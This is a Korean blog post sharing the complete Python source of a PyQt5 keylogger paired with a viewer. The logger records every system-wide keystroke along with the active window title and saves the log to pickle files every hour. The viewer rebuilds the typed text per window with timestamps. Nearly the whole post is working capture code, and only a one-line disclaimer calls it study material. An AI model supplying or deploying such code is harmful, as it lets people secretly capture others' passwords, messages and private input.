본문 바로가기
Python/Python_Project | 키로거 및 뷰어

키로그, 뷰어 프로그램 전체 코드 공유

by Pig_CoLa 2020. 5. 20.
SMALL
### co.la@kakao.com ###
### Pig_Cola ###
from PyQt5 import QtWidgets, QtCore
import sys,pickle,keyboard,time

# 메인 프로그램 UI 및 슬롯 구축
class main(QtWidgets.QWidget):
    def __init__(self):
        super().__init__()
        self.setWindowFlag(QtCore.Qt.WindowMinimizeButtonHint,False)
        self.setWindowFlag(QtCore.Qt.WindowMaximizeButtonHint,False)
        self.setMinimumSize(178,45)
        self.pbt1 = QtWidgets.QPushButton('키로거', self)
        self.pbt2 = QtWidgets.QPushButton('뷰어', self)
        self.pbt1.setGeometry(11,11,75,23)
        self.pbt2.setGeometry(92,11,75,23)
        self.pbt1.clicked.connect(self.pbt1_c)
        self.pbt2.clicked.connect(self.pbt2_c)

    def pbt1_c(self):
        self.sub = keyloger()
        self.sub.show()
        self.close()

    def pbt2_c(self):
        self.sub = viewer()
        self.sub.show()
        self.close()


# 레코딩 프로그램 UI구축
class keyloger(QtWidgets.QWidget):
    def __init__(self):
        super().__init__()
        self.setMinimumSize(120,45)
        self.setMaximumSize(120,45)
        self.pbt1 = QtWidgets.QPushButton('종료',self)
        self.pbt1.clicked.connect(self.close)
        self.th = _record(self) # 백그라운드 쓰레드
        self.th.start()         # 쓰레드 활성화

        layout = QtWidgets.QGridLayout()
        layout.addWidget(self.pbt1)
        self.setLayout(layout)

# 종료이벤트 설정으로 레코딩 도중 종료시 저장되도록 함
    def closeEvent(self,e):
        self.th._stop_recording()
        e.accept()

# 뷰어 프로그램 UI구축
class viewer(QtWidgets.QWidget):
    def __init__(self):
        super().__init__()
        self.tb = QtWidgets.QTextBrowser(self)
        self.setAcceptDrops(True)

        layout = QtWidgets.QGridLayout()
        layout.addWidget(self.tb)
        self.setLayout(layout)
        
    # 드래그 한 무언가가 올라왔을때 작동
    # 무언가에 주소값이 없다면 거절
    def dragEnterEvent(self, e):
        if e.mimeData().urls() == []:
            e.ignore()
        else:
            e.accept()

    # 드래그한 무언가가 놓아졌을때(드래그이벤트가 거절되지 않아야 작동한다)
    def dropEvent(self, e):
        self.keylogview(e.mimeData().text()[8:])
        self.tb.setText(self.key)

    # 데이터에 주소가 있으나 올바르지 않다면 빈 리스트 []를 리턴
    def _open(self,f:str):
        try:
            with open(f,'rb') as mydata:
                data = pickle.load(mydata)
        except:
            data = []
        return data


    # 빈 리스트를 받아왔다면 잘못된 입력이라고 출력.
    # 정상적인 리스트 데이터라면 아래의 표시방법에 따라 출력
    # (title에 창이름과 프로세스 이름이 있는 win_title을 넣어주고
    # 직전 타이틀과 비교하여 같은곳인지 판단.
    # 동일한곳이 아니라면 새로 바뀐곳의 title을 출력하고 첫 입력시간 출력)
    def keylogview(self,f):
        key_str = ''
        title = None
        if self._open(f) == []:
            key_str = '잘못된 입력입니다.'
        else :
            for i in self._open(f):
                try:
                    if i.event_type == 'down':
                        try:
                            if title == None:
                                title = i.win_title
                                key_str += i.win_title + '\n' + '({}년 {}월 {}일 - {}시{}분{}초)\n'.format(*list(time.localtime(i.time))[:6])
                            elif title != i.win_title:
                                title = i.win_title
                                key_str += '\n\n' + i.win_title + '\n' + '({}년 {}월 {}일 - {}시{}분{}초)\n'.format(*list(time.localtime(i.time))[:6])
                            if len(i.name) == 1:
                                key_str += i.name
                            else:
                                key_str += ' [' + i.name + '] '
                        except:
                            continue
                except:
                    key_str = '잘못된 입력입니다.'
        self.key = key_str


# 백그라운드 쓰레드 구축(레코딩 프로그램에 들어감)
class _record(QtCore.QThread):
    def __init__(self,selfs):
        super().__init__(selfs)
        self._state = False
        self.record = []
        self.mutex = QtCore.QMutex()
        self._time = None

    def run(self): # 쓰레드에서 실행될 구문
        while True:
            self.mutex.lock()
            if not self._state:
                self.recording()
            else:
                if time.time() - self._time >= 3600: # 1시간 마다 저장한다
                    self.recording()
            self.mutex.unlock()

    def recording(self):
        self._state = not self._state
        if self._state:
            self._start_recording()
        else:
            self._stop_recording()

    def _start_recording(self):
        self._time = time.time()
        keyboard.start_recording()

    def _stop_recording(self):
        self.record = keyboard.stop_recording()
        self._save()

    def _save(self):
        if self.record != []:
            with open('log/{}'.format(time.strftime('%Y-%m-%d_%H_%M_%S',time.localtime())),'wb') as mydata:
                pickle.dump(self.record,mydata)
            self.record = []

if __name__ == '__main__':
    app = QtWidgets.QApplication(sys.argv)
    wind = main()
    wind.show()
    app.exec()

해당 프로그램은 공부하는 의미로 제작하였으며

악용시 모든 책임은 개개인에게 있음을 알립니다.

LIST

댓글